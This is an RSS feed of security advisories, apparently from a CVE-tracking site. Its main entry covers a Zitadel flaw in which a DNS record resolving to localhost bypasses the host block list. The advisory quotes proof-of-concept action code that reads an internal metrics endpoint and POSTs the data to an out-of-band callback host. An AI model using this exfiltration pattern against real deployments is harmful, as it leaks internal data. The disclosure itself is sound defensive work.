<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 14:05:31 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-197848</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-197848</link>
      <description>EUVD-2026-197848</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-197848</guid>
    </item>
    <item>
      <title>fkie_cve-2024-49753</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2024-49753</link>
      <description>&lt;p&gt;Zitadel is open-source identity infrastructure software. Versions prior to 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 have a flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures. This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities. Versions 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 contain a patch. No known workarounds are available.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Zitadel is open-source identity infrastructure software. Versions prior to 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 have a flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures. This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities. Versions 2.64.1, 2.63.6, 2.62.8, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 contain a patch. No known workarounds are available.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2024-49753</guid>
    </item>
    <item>
      <title>GHSA-6cf5-w9h3-4rqv — Denied Host Validation Bypass in Zitadel Actions</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-6cf5-w9h3-4rqv</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/zitadel/zitadel&lt;/p&gt;
&lt;p&gt;### Summary
A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1).  The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.&lt;/p&gt;
&lt;p&gt;### Details
While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record.
&amp;lt;img width=&amp;#34;781&amp;#34; alt=&amp;#34;image&amp;#34; src=&amp;#34;https://github.com/user-attachments/assets/6d22dae8-407f-4420-a937-aca53d22d05d&amp;#34;&amp;gt;&lt;/p&gt;
&lt;p&gt;The relevant action code demonstrates the attempted request to 127.0.0.1:
```
let http = require(&amp;#39;zitadel/http&amp;#39;)
let logger = require(&amp;#34;zitadel/log&amp;#34;)
function make_api_call(ctx, api) {
    var user = http.fetch(&amp;#39;http://127.0.0.1:8080/debug/metrics&amp;#39;);&lt;/p&gt;
&lt;p&gt;var api_r = http.fetch(&amp;#39;https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test&amp;#39;, {
        method: &amp;#39;POST&amp;#39;,
        headers: {
            &amp;#39;Content-Type&amp;#39;: &amp;#39;application/json&amp;#39;,
        },
        body: JSON.stringify({
            &amp;#39;data&amp;#39;: user,
        }),
    });
    logger.log(api_r.body);
}
```&lt;/p&gt;
&lt;p&gt;By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request.
![image](https://github.com/user-attachments/assets/d1544a7c-684a-485c-8857-eb846ba946b7)&lt;/p&gt;
&lt;p&gt;The modified action code…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/zitadel/zitadel&lt;/p&gt;
&lt;p&gt;### Summary
A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1).  The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.&lt;/p&gt;
&lt;p&gt;### Details
While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record.
&amp;lt;img width=&amp;#34;781&amp;#34; alt=&amp;#34;image&amp;#34; src=&amp;#34;https://github.com/user-attachments/assets/6d22dae8-407f-4420-a937-aca53d22d05d&amp;#34;&amp;gt;&lt;/p&gt;
&lt;p&gt;The relevant action code demonstrates the attempted request to 127.0.0.1:
```
let http = require(&amp;#39;zitadel/http&amp;#39;)
let logger = require(&amp;#34;zitadel/log&amp;#34;)
function make_api_call(ctx, api) {
    var user = http.fetch(&amp;#39;http://127.0.0.1:8080/debug/metrics&amp;#39;);&lt;/p&gt;
&lt;p&gt;var api_r = http.fetch(&amp;#39;https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test&amp;#39;, {
        method: &amp;#39;POST&amp;#39;,
        headers: {
            &amp;#39;Content-Type&amp;#39;: &amp;#39;application/json&amp;#39;,
        },
        body: JSON.stringify({
            &amp;#39;data&amp;#39;: user,
        }),
    });
    logger.log(api_r.body);
}
```&lt;/p&gt;
&lt;p&gt;By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request.
![image](https://github.com/user-attachments/assets/d1544a7c-684a-485c-8857-eb846ba946b7)&lt;/p&gt;
&lt;p&gt;The modified action code…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-6cf5-w9h3-4rqv</guid>
    </item>
    <item>
      <title>openSUSE-SU-2024:0350-1 — Security update for govulncheck-vulndb</title>
      <link>https://cve.radiocsirt.org/vuln/opensuse-su-2024:0350-1</link>
      <description>&lt;p&gt;Security update for govulncheck-vulndb&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Security update for govulncheck-vulndb&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/opensuse-su-2024:0350-1</guid>
    </item>
    <item>
      <title>SUSE-SU-2024:3911-1 — Security update for govulncheck-vulndb</title>
      <link>https://cve.radiocsirt.org/vuln/suse-su-2024:3911-1</link>
      <description>&lt;p&gt;Security update for govulncheck-vulndb&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Security update for govulncheck-vulndb&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/suse-su-2024:3911-1</guid>
    </item>
  </channel>
</rss>
